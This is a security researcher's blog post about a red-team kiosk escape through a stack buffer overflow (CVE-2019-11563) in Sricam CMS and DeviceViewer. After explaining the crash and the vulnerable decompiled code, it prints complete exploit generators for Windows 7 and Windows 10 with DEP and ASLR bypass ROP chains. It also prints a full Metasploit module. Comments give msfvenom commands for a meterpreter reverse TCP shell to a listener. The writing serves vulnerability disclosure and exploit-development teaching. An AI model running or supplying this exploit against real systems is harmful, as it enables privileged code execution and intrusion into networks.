A tale of a kiosk escape: ‘Sricam CMS’ Stack Buffer Overflow

Back to Posts

A tale of a kiosk escape: ‘Sricam CMS’ Stack Buffer Overflow

Reading Time: 15 minutes

TL;DR: Shenzhen Sricctv Technology Sricam CMS (SricamPC.exe) <= v.1.0.0.53(4) and DeviceViewer (DeviceViewer.exe) <= v.3.10.12.0 (CVE-2019-11563) are affected by a local Stack Buffer Overflow. By creating a specially crafted “Username” and copying its value in the “User/mail” login field, an attacker will be able to gain arbitrary code execution in the context of the currently logged-in user.

Please Note: by default, Sricam CMS requires elevation and runs in High Integrity mode; exploitation of the above software will result in a compromise of a privileged account (administrator).

Red-Team Engagement

During a recent red-team engagement (physical access was allowed) I’ve discovered some interesting hosts on the network: some fully patched Windows 10 OS touchscreen devices, running the “Shenzhen Sricctv Technology DeviceViewer and SricamCMS” software in “kiosk” mode.

A captive kiosk is normally meant to only allow a limited number of users to do: a set of pre-determined tasks and limit viewable data without the possibility of accessing the underlying operating system. In this case, it was used by security operators to monitor CCTVs on the premise.

Please note: on Windows 10, instead of using home-made “kiosk” modes, there is an inbuilt option called: “Assigned Access”.

Assigned Access is a feature that creates a lockdown environment that lets users interact with one app only when they sign-in into a specified account. With Assigned Access, users won’t be able to reach the desktop, start menu, or any other app, including the “Settings App”.

A single-app kiosk (ideal for public use), will runs a single Universal Windows Platform (UWP) app in full screen above the lock screen. People using the kiosk will be able to see only the chosen app.

When the kiosk account (a local standard user account) signs in, the kiosk app will launch automatically, you can configure the kiosk account to sign in automatically as well. If the kiosk app is closed, it will automatically restart.

Some useful resources about “Assigned Access”

Disassembling

Searching a way to perform a “kiosk escape” attack, gaining access to the underlying OS and a foothold on the client’s network, I found that in 2019 Hayden Wright discovered a stack-based buffer overflow in DeviceViewer [EDB].

Unfortunately, the PoC was meant only for Windows XP and 7 while I had to target Windows 10 with DEP and ASLR turned on.

For this reason, armed with IDA and Immunity Debugger I’ve started debugging the applications.

Looking at the disassembled software we can note a call to “__security_check_cookie” thus meaning that the code was compiled with the “/GS” Buffer Security Check flag enabled. Stack cookies are then present and we should take care of them when exploiting our buffer overflow.

PoC: causing the crash

Trying different payload sizes for our username field, I have discovered that the application will behave in different ways.

Username value size:

  • 0: username cannot be empty
  • <=259: data parameter error
  • 260-283: RtlFailFast()

This is invoked when validation of a given LIST_ENTRY object fails, this validation was introduced to detect data corruption as fast as possible and to prevent the system from being exploited.

“Fail fast on linked list node corruption, the segment heap uses linked lists to track segments and sub-segments. As with the NT heap (Windows 8), checks are added in the list node insertion and removal to prevent arbitrary memory writes due to corrupted list nodes. If a corrupted node is detected, the process is terminated via a call to RtlFailFast.” – Windows Internals 7th Edition Part 1

>=284: CRASH

Generating a large “username” value (~>= 284 chars), and pasting it into the “User/mail” login field, we’ll be able to see that an exception will be triggered in our debugger.

Fortunately, the crash can be triggered on both the applications, DeviceViewer and SricamCMS.

“The instruction at 0x545FB2 referenced memory at 0x4141413D. The memory could not be read -> 4141413D (exc.code c0000005, tid 4652)”

As we can see from the above screenshot, EAX has value 0x41414141 and, when the software will try to perform the following operation: cmp dword ptr [eax-4], 1 the location pointed by EAX-4 became invalid as it’s not mapped to our software and cannot be read.

Passing the exception to the debugged software will crash it. Cool, but why?

If we “translate” the assembly to a C pseudocode we will be able to see something along this line:

int __thiscall sub_545EB0(void *this, LPCWSTR lpWideCharStr, LPCWSTR a3)
{
  const WCHAR *v3; // eax
  int v4; // esi
  const WCHAR *v5; // eax
  int v6; // esi
  _BYTE *v7; // edi
  char *v8; // ecx
  int v9; // esi
  char v10; // al
  char *v11; // ecx
  char v12; // al
  LANGID v13; // ax
  int v14; // eax
  const WCHAR *v15; // esi
  int v16; // edi
  HWND *v17; // ebx
  void *v18; // eax
  LPCWSTR v19; // edx
  int result; // eax
  LPCWSTR v21; // edx
  int v22; // [esp+10h] [ebp-32Ch]
  void *v23; // [esp+14h] [ebp-328h]
  LPSTR lpMultiByteStr; // [esp+18h] [ebp-324h]
  LPCWSTR v25; // [esp+1Ch] [ebp-320h]
  char v26; // [esp+20h] [ebp-31Ch]
  char v27; // [esp+124h] [ebp-218h]  ESP 004FD16C + 124 = 4F D290 [-|
                              //		 + = 260 dec
  char v28; // [esp+228h] [ebp-114h]  ESP 004FD16C + 228 = 4F D394 [-|
  int v29; // [esp+338h] [ebp-4h]

  v23 = this;
  v29 = 1;
  /*
  void * memset ( void * ptr, int value, size_t num );
    ptr	Pointer to the block of memory to fill.
    value	Value to be set. The value is passed as an int, but the function fills the block of memory using the unsigned char conversion of this value.
    num	Number of bytes to be set to the value. size_t is an unsigned integral type.
  */
  memset(&v28, 0, 0x104u); // 0x104u = 260 dec
  memset(&v27, 0, 0x104u);
  v3 = lpWideCharStr; // * to what once was the zeroed-out area that now contains our ASCII payload. It's referenced by EAX (LPCWSTR, a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.)
  v25 = lpWideCharStr; 
  if ( *((_DWORD *)lpWideCharStr - 1) > 1 )
  {
    sub_52AF60((int *)&lpWideCharStr, *((_DWORD *)lpWideCharStr - 3));
    v3 = lpWideCharStr; // * to our payload in UNICODE
    v25 = lpWideCharStr; // * to our payload in UNICODE
  }
  /* https://docs.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-widechartomultibyte
  int WideCharToMultiByte(
    UINT                               CodePage,
    DWORD                              dwFlags,
    _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr,
    int                                cchWideChar,
    LPSTR                              lpMultiByteStr,
    int                                cbMultiByte,
    LPCCH                              lpDefaultChar,
    LPBOOL                             lpUsedDefaultChar
  );
  Maps a UTF-16 (wide character) string to a new character string. The new character string is not necessarily from a multibyte character set. 
  
  Caution  Using the WideCharToMultiByte function incorrectly can compromise the security of your application. Calling this function can easily cause a buffer overrun because the size of the input buffer indicated by lpWideCharStr equals the number of characters in the Unicode string, while the size of the output buffer indicated by lpMultiByteStr equals the number of bytes. To avoid a buffer overrun, your application must specify a buffer size appropriate for the data type the buffer receives.
  
  Data converted from UTF-16 to non-Unicode encodings is subject to data loss, because a code page might not be able to represent every character used in the specific Unicode data. For more information, see Security Considerations: International Features. 
  */
  //v3= Pointer to the Unicode string to convert.
  //cchWideChar Size, in characters, of the string indicated by lpWideCharStr. Alternatively, this parameter can be set to -1 if the string is null-terminated.
  v4 = WideCharToMultiByte(0xFDE9u, 0, v3, -1, 0, 0, 0, 0);
  lpMultiByteStr = (LPSTR)sub_5A23A6(v4 + 1);
  memset(lpMultiByteStr, 0, v4 + 1);
  WideCharToMultiByte(0xFDE9u, 0, v25, -1, lpMultiByteStr, v4, 0, 0);
  //now our location in memory (v4) holds our payload in ASCII
  /*
  void * memmove ( void * destination, const void * source, size_t num );
  
  destination	Pointer to the destination array where the content is to be copied, type-casted to a pointer of type void*.
  source	Pointer to the source of data to be copied, type-casted to a pointer of type const void*.
  num		Number of bytes to copy. size_t is an unsigned integral type. 
  Copies the values of num bytes from the location pointed by source to the memory block pointed by destination. Copying takes place as if an intermediate buffer were used, allowing the destination and source to overlap.
  The function does not check for any terminating null character in source - it always copies exactly num bytes.
  To avoid overflows, the size of the arrays pointed by both the destination and source parameters, shall be at least num bytes.
  */
  memmove_0(&v28, lpMultiByteStr, v4 + 1);
  // copy in v28 our ASCII payload on the stack
  if ( lpMultiByteStr )
    j_j___free_base(lpMultiByteStr);
  v5 = a3;
  v25 = a3;
  if ( *((_DWORD *)a3 - 1) > 1 ) // !!CRASH!!
  {
    sub_52AF60((int *)&a3, *((_DWORD *)a3 - 3));
    v5 = a3;
    v25 = a3;
  }
[--SNIP--]

As we can see at line 27 and 29:

char v27; // [esp+124h]
char v28; // [esp+228h]

two different contiguous memory locations of 260 bytes are created.

At line 40 this area is zeroed out: memset(&v28, 0, 0x104u);

While at line 84 after the “Username” value has undergone several transformations (WideCharToMultiByte), it’s value is finally copied on the stack: memmove_0(&v28, lpMultiByteStr, v4 + 1);

Despite my initial thoughts, the cause of this crash has nothing to do with the WideCharToMultiByte function and the fact that:

“the size of the input buffer indicated by lpWideCharStr equals the number of characters in the Unicode string, while the size of the output buffer indicated by lpMultiByteStr equals the number of byte”

nor with some functions using the “\x00” as null-terminator while others copying n. bytes.

It’s everything easier than that, the developers created an area of 260 bytes length, without checking the actual size of the “Username” value and, as the text area does not limit the number of characters, here the crash.

Username values bigger than the actual buffer of 260 bytes will overwrite the stack when memmove will copy them. Overwriting the stack with enough garbage will allow us to corrupt the SEH handler.

SEH Overwrite

On all the tested Windows versions:

  • Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600
  • Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
  • Windows 10 Pro x64 v.1909 Build 18363.720

SEH corruption will happen after 264 bytes. SEH corruption will also allow us to forget about stack cookies as “we can defeat stack protection by triggering an exception before the cookie is checked during the epilogue (or we can try to overwrite other data (parameters that are pushed onto the stack to the vulnerable function), which is referenced before the cookie check is performed.), and then deal with possible SEH protection mechanisms, if any…” – corelanc0d3r

But, while on Windows XP, our stack-based buffer overflow will be only a plain SEH exploit, on Windows 7 and Windows 10 we should also account for ASLR and DEP.

Here the different buffers structure that we will need to create in order to trigger the exploit on the different OS versions.

Exploitation

I won’t dive further into the exploit development process because, aside from some ROP fixing and custom gadgets, it’s a standard and well-documented process (check corelan and FuzzySecurity website if you are interested). The only notable point is that, on Windows 7, upon multiple execution, we can see that the point where we land on the stack changes. That’s why I’ve introduced an ROP NOP to “sled” directly at the beginning of our ROP chain and increase the exploit reliability.

Windows 7 – [GITHUB]

"""
Full title:         DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field Stack Buffer Overflow (SEH) DEP+ASLR Bypass
CVE:                CVE-2019-11563
Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage:    http://www.sricam.com/
Version:            v.3.10.12.0 
Tested on:          Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
Category:           local exploits
Platform:           windows
Usage:              DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"

PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1
PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe"                   

FileName         : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe
ARCH             : I386
DotNET           : False
ASLR             : True
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : False
ControlFlowGuard : False
HighentropyVA    : False
"""
#!/usr/bin/python
import struct

poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w")

total_size=4000
offset=264                                      # ofsset to nSEH
# |                                                     buffer (4000)                                                              |
# | garbage (264) | nSEH (4) | SEH (4) | rop_nop (320) | rop chain (84) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
buf = ""                                        # our buffer
buf += "A"*offset                               # garbage until we hit nSEH
buf += "BBBB"                                   # nSEH;
# 0x6a0e6a60 : pop esi # pop edi # ret			| ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll)
# buf += struct.pack("<I",0x6a0e6a60)            # SEH used to calculate stack pivot offset
# exception dispatcher ESP: 0021E858
# stack address of our stack adj: 0021F374
# stack pivot: 0021F374-0021E858=B1C (2844)
# nearest pivot 
# 0x6a19b49f : {pivot 3100 / 0xc1c} :  # ADD ESP,0C0C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
buf += struct.pack("<I",0x6a19b49f)             # SEH (stack pivot)
# 3100 - 2844 = 256 to fill
for _ in range(80):							    # filler with rop nop, 280 max seen during tests, 80*4=320 for reliability
    buf += struct.pack("<I",0x6a4a494a)			# 0x6a4a494a (RVA : 0x003e494a) : # DEC EBX # ADD AL,83 # RETN    ** [avcodec-54.dll] **   |  asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
# rop chain generated with mona.py - www.corelan.be
"""
Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
"""
def create_rop_chain():
    rop_gadgets = [
    #[---INFO:gadgets_to_set_ebx:---]
    0x6a5d8c78,  # POP EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x6a2420e8,  # NEG EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
    0x6a17ca04,  # PUSH EAX # POP EBX # POP ESI # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
    0x41414141,  # Padding
    #[---INFO:gadgets_to_set_edx:---]
      0x6a569810,  # POP EDX # RETN [avcodec-54.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x6a5d3987,  # NEG EDX # RETN [avcodec-54.dll] 
      #[---INFO:gadgets_to_set_esi:---]
      0x6a5d9990,  # POP EAX # RETN [avcodec-54.dll] 
      0x6ad38304,  # ptr to &VirtualProtect() [IAT avcodec-54.dll]
      0x699af4cb,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 
      0x6a53c7b9,  # XCHG EAX,ESI # RETN [avcodec-54.dll] 
      #[---INFO:gadgets_to_set_ebp:---]
      0x699802db,  # POP EBP # RETN [avformat-54.dll] 
      0x6a1215c3,  # & push esp # ret  [avcodec-54.dll]
      #[---INFO:gadgets_to_set_ecx:---]
      0x6a4a5715,  # POP ECX # RETN [avcodec-54.dll] 
      0x6ae9cac2,  # &Writable location [avutil-50.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x69915933,  # POP EDI # RETN [avformat-54.dll] 
      0x6a2420ea,  # RETN (ROP NOP) [avcodec-54.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x6a5dac99,  # POP EAX # RETN [avcodec-54.dll] 
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x6a6049b7,  # PUSHAD # RETN [avcodec-54.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

buf += create_rop_chain()
#------------------------------------------------
buf += "\x81\xc4\x24\xfa\xff\xff"               # stack adjustment for meterpreter GetPC routine; add esp, -1500
# buf += "\xCC\xCC\xCC\xCC\xCC"
# shellcode
# max sixe: 3368
# bad chars: \x00\x0a\x0d
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.0.4 exitfunc=seh -b '\x00\x0a\x0d' -f python
buf += b"SHELLCODE"
#------------------------------------------------
buf += "D"*(total_size-len(buf))                # filler
poc.write(buf)
poc.close()

Windows 10 – [GITHUB]

"""
Full title:         DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field Stack Buffer Overflow (SEH) DEP+ASLR Bypass
CVE:                CVE-2019-11563
Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage:    http://www.sricam.com/
Version:            v.3.10.12.0 
Tested on:          Windows 10 Pro x64 v.1909 Build 18363.720
Category:           local exploits
Platform:           windows
Usage:              DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"

PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1
PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe"                   

FileName         : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe
ARCH             : I386
DotNET           : False
ASLR             : True
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : False
ControlFlowGuard : False
HighentropyVA    : False
"""
#!/usr/bin/python
import struct

poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w")

total_size=4000
offset=264                                      # ofsset to nSEH
# |                                                     buffer (4000)                                                              |
# | garbage (264) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
buf = ""                                        # our buffer
buf += "A"*offset                               # garbage until we hit nSEH
buf += "BBBB"                                   # nSEH;
# 0x6b08190f : pop esi; pop edi; ret            | ascii {PAGE_EXECUTE_WRITECOPY} [avcodec-52.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-52.dll)
#buf += struct.pack("<I",0x6b08190f)            # SEH used to calculate stack pivot offset
# exception dispatcher ESP: 0x0170EB00
# stack address of our stack adj: 0x0170F67C
# stack pivot: 0x0170F67C-0x0170EB00=B7C (2940)
# nearest pivot 
# 0x6ad795e9 : {pivot 3324 / 0xcfc} :  # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-52.dll] **   |   {PAGE_EXECUTE_WRITECOPY}
buf += struct.pack("<I",0x6ad795e9)             # SEH (stack pivot)
# 3324 - 2940 = 384 to fill
buf += "C"*384                                  # filler until we hit our rop chain
# rop chain generated with mona.py - www.corelan.be
"""
Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
"""
def create_rop_chain():
    rop_gadgets = [
    #[---INFO:gadgets_to_set_edx:---]
    0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll] 
    0xffffffd7,  # put delta into eax (-> put 0x00000040 into edx)
    0x6ad62214,  # ADD EAX,69 # RETN [avcodec-52.dll] 
    0x6994f1d6,  # XCHG EAX,EDX # RETN [avformat-54.dll] 
    #[---INFO:gadgets_to_set_esi:---]
    0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll] 
    0x68bab1f4,  # ptr to &VirtualProtect() [IAT avutil-51.dll]
    0x699150dc,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 
    0x6ae8bcd8,  # XCHG EAX,ESI # RETN [avcodec-52.dll] 
    #[---INFO:gadgets_to_set_ebx:---]
    0x6b05be37,  # POP EAX # RETN [avcodec-52.dll] 
    0xa1a50201,  # put delta into eax (-> put 0x00000201 into ebx)
    0x6ade3410,  # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll] 
    0x41414141,  # Filler (compensate)
    0x41414141,  # Filler (compensate)
    0x6ad5b2b4,  # PUSH EAX # POP EBX # RETN [avcodec-52.dll] 
    #[---INFO:gadgets_to_set_ebp:---]
    0x6aec5b60,  # POP EBP # RETN [avcodec-52.dll] 
    0x6ae590cf,  # & push esp # ret  [avcodec-52.dll]
    #[---INFO:gadgets_to_set_edi:---]
    0x699b8706,  # POP EDI # RETN [avformat-54.dll] 
    0x6991e152,  # RETN (ROP NOP) [avformat-54.dll]
    #[---INFO:gadgets_to_set_ecx:---]
    0x699cc348,  # POP ECX # RETN [avformat-54.dll] 
    0x6b68c50c,  # &Writable location [avcodec-52.dll]
    #[---INFO:gadgets_to_set_eax:---]
    0x6b05be46,  # POP EAX # RETN [avcodec-52.dll] 
    0x90909090,  # nop
    #[---INFO:pushad:---]
    0x699047dc,  # PUSHAD # RETN [avformat-54.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
buf += create_rop_chain()
#------------------------------------------------
buf += "\x81\xc4\x24\xfa\xff\xff"               # stack adjustment for meterpreter GetPC routine; add esp, -1500
# shellcode
# max sixe: 3728
# bad chars: \x00\x0a\x0d
# msfvenom -a x86 --platform windows -p windows/metrpreter/reverse_tcp lhost=192.168.206.1 exitfunc=seh -b '\x00\x0a\x0d' -f python
buf += b"SHELLCODE"
#------------------------------------------------
buf += "D"*(total_size-len(buf))                # filler
poc.write(buf)
poc.close()

Gluing everything together in a Metasploit Module – [GITHUB]

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Shenzhen Sricctv Technology DeviceViewer User Field Stack Buffer Overflow',
      'Description'  => %q{
        This exploits a SEH stack buffer overflow in Shenzhen Sricctv Technology DeviceViewer
        v.3.10.12.0 present in the username login field.
        In the "User" login field paste the content of the generated exploit and press "Login".
        This module will bypass DEP and ASLR.
        It was successfully tested on Windows 10, Windows 7 and Windows XP SP3.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Hayden Wright',  # Original discovery
          'Paolo Stagno',  # @Void_Sec
        ],
      'References'  =>
        [
          # [ 'CVE', '2019-11563' ], # Currently rejected, may get resurrected!
          [ 'EDB', '46779' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'Space' => 3368,
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
          #'StackAdjustment' => -1500
        },

      'Targets'    =>
        [
          [ 'Windows 10 (DEP + ASLR Bypass)', # Windows 10 Pro x64 v.1909 Build 18363.720(Windows enforces ASLR and DEP automatically on default configuration)
            {
              'Ret'     =>  0x6ad795e9, # 0x6ad795e9 : {pivot 3324 / 0xcfc} :  # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-52.dll] **   |   {PAGE_EXECUTE_WRITECOPY}
              'Offset'  =>  264
            }
          ],
          [ 'Windows 7 (DEP + ASLR Bypass)', # Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601(Windows enforces ASLR and DEP automatically on default configuration)
            {
              'Ret'     =>  0x6a19b49f, # 0x6a19b49f : {pivot 3100 / 0xc1c} :  # ADD ESP,0C0C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
              'Offset'  =>  264
            }
          ],
          [ 'Windows XP x86 SEH', # Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600
            {
              'Ret' => 0x69901d06, #POP ESI, POP EDI, RET  avformat-54.dll
              'Offset' => 264
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Apr 10 2019',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'DeviceViewer_v.3.10.12.0_exploit.txt'])])

  end

  def create_rop_nop()
    rop_nop = [
      0x6a4a494a,  # 0x6a4a494a (RVA : 0x003e494a) : # DEC EBX # ADD AL,83 # RETN    ** [avcodec-54.dll] **   |  asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
    ].flatten.pack("V*")
    return rop_nop
  end

  def create_rop_chain7()
    ## rop chain generated with mona.py - www.corelan.be, fixed by VoidSec
    # Register setup for VirtualProtect() :
    # EAX = NOP (0x90909090)
    # ECX = lpOldProtect (ptr to W address)
    # EDX = NewProtect (0x40)
    # EBX = dwSize
    # ESP = lPAddress (automatic)
    # EBP = ReturnTo (ptr to jmp esp)
    # ESI = ptr to VirtualProtect()
    # EDI = ROP NOP (RETN)
    ##
    rop_gadgets =
    [
      #[---INFO:gadgets_to_set_ebx:---]
      0x6a5d8c78,  # POP EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x6a2420e8,  # NEG EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0x6a17ca04,  # PUSH EAX # POP EBX # POP ESI # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0x41414141,  # Padding
      #[---INFO:gadgets_to_set_edx:---]
      0x6a569810,  # POP EDX # RETN [avcodec-54.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x6a5d3987,  # NEG EDX # RETN [avcodec-54.dll]
      #[---INFO:gadgets_to_set_esi:---]
      0x6a5d9990,  # POP EAX # RETN [avcodec-54.dll]
      0x6ad38304,  # ptr to &VirtualProtect() [IAT avcodec-54.dll]
      0x699af4cb,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll]
      0x6a53c7b9,  # XCHG EAX,ESI # RETN [avcodec-54.dll]
      #[---INFO:gadgets_to_set_ebp:---]
      0x699802db,  # POP EBP # RETN [avformat-54.dll]
      0x6a1215c3,  # & push esp # ret  [avcodec-54.dll]
      #[---INFO:gadgets_to_set_ecx:---]
      0x6a4a5715,  # POP ECX # RETN [avcodec-54.dll]
      0x6ae9cac2,  # &Writable location [avutil-50.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x69915933,  # POP EDI # RETN [avformat-54.dll]
      0x6a2420ea,  # RETN (ROP NOP) [avcodec-54.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x6a5dac99,  # POP EAX # RETN [avcodec-54.dll]
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x6a6049b7,  # PUSHAD # RETN [avcodec-54.dll]
    ].flatten.pack("V*")
    return rop_gadgets
  end

  def create_rop_chain10()
    rop_gadgets = [
      ## rop chain generated with mona.py - www.corelan.be, fixed by VoidSec
      #[---INFO:gadgets_to_set_edx:---]
      0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll]
      0xffffffd7,  # put delta into eax (-> put 0x00000040 into edx)
      0x6ad62214,  # ADD EAX,69 # RETN [avcodec-52.dll]
      0x6994f1d6,  # XCHG EAX,EDX # RETN [avformat-54.dll]
      #[---INFO:gadgets_to_set_esi:---]
      0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll]
      0x68bab1f4,  # ptr to &VirtualProtect() [IAT avutil-51.dll]
      0x699150dc,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll]
      0x6ae8bcd8,  # XCHG EAX,ESI # RETN [avcodec-52.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x6b05be37,  # POP EAX # RETN [avcodec-52.dll]
      0xa1a50201,  # put delta into eax (-> put 0x00000201 into ebx)
      0x6ade3410,  # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll]
      0x41414141,  # Filler (compensate)
      0x41414141,  # Filler (compensate)
      0x6ad5b2b4,  # PUSH EAX # POP EBX # RETN [avcodec-52.dll]
      #[---INFO:gadgets_to_set_ebp:---]
      0x6aec5b60,  # POP EBP # RETN [avcodec-52.dll]
      0x6ae590cf,  # & push esp # ret  [avcodec-52.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x699b8706,  # POP EDI # RETN [avformat-54.dll]
      0x6991e152,  # RETN (ROP NOP) [avformat-54.dll]
      #[---INFO:gadgets_to_set_ecx:---]
      0x699cc348,  # POP ECX # RETN [avformat-54.dll]
      0x6b68c50c,  # &Writable location [avcodec-52.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x6b05be46,  # POP EAX # RETN [avcodec-52.dll]
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x699047dc,  # PUSHAD # RETN [avformat-54.dll]
    ].flatten.pack("V*")
    return rop_gadgets
  end

  def exploit
    max_buff_length = 4000
    buffer = ""
    stack_adj = "\x81\xc4\x24\xfa\xff\xff" # stack adj; add esp, -1500

    if target.ret == 0x6ad795e9
      # win 10, add rop and different layout
      # |                                                     buffer (4000)                                                              |
      # | garbage (254) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
      buffer << make_nops(target['Offset']) # garbage
      buffer << make_nops(4) # nSEH
      buffer << [target.ret].pack("V") # SEH
      buffer << make_nops(384) # filler
      buffer << create_rop_chain10() # ROP
      buffer << stack_adj
      buffer << payload.encoded # shellcode
      buffer << make_nops(max_buff_length-buffer.length) # filler
    elsif target.ret == 0x6a19b49f
      # win 7, add rop and different layout
      # |                                                     buffer (4000)                                                              |
      # | garbage (254) | nSEH (4) | SEH (4) | rop_nop (320) | rop chain (84) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
      buffer << make_nops(target['Offset']) # garbage
      buffer << make_nops(4) # nSEH
      buffer << [target.ret].pack("V") # SEH
      buffer << create_rop_nop()*80
      buffer << create_rop_chain7() # ROP
      buffer << stack_adj
      buffer << payload.encoded # shellcode
      buffer << make_nops(max_buff_length-buffer.length) # filler
    else
      # win xp, plain SEH exploit
      buffer << make_nops(target['Offset'])
      buffer << generate_seh_payload(target.ret)
      buffer << make_nops(max_buff_length-buffer.length)
    end
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end

Metasploit Module Documentation – [GITHUB]

Final Considerations

Despite this exploit is pretty much useless outside of this specific context, going back to the start of this red-tam scenario: I’ve exploited the “kiosk” machine, writing the final payload on a badge and reading it with a scanner; scanner fill-in operator’s login credential, exploiting the vulnerability in DeviceViewer and Sricam CMS, granting me a “kiosk” escape, access to the underlying OS and a foothold in client’s network.

Share this post

Back to Posts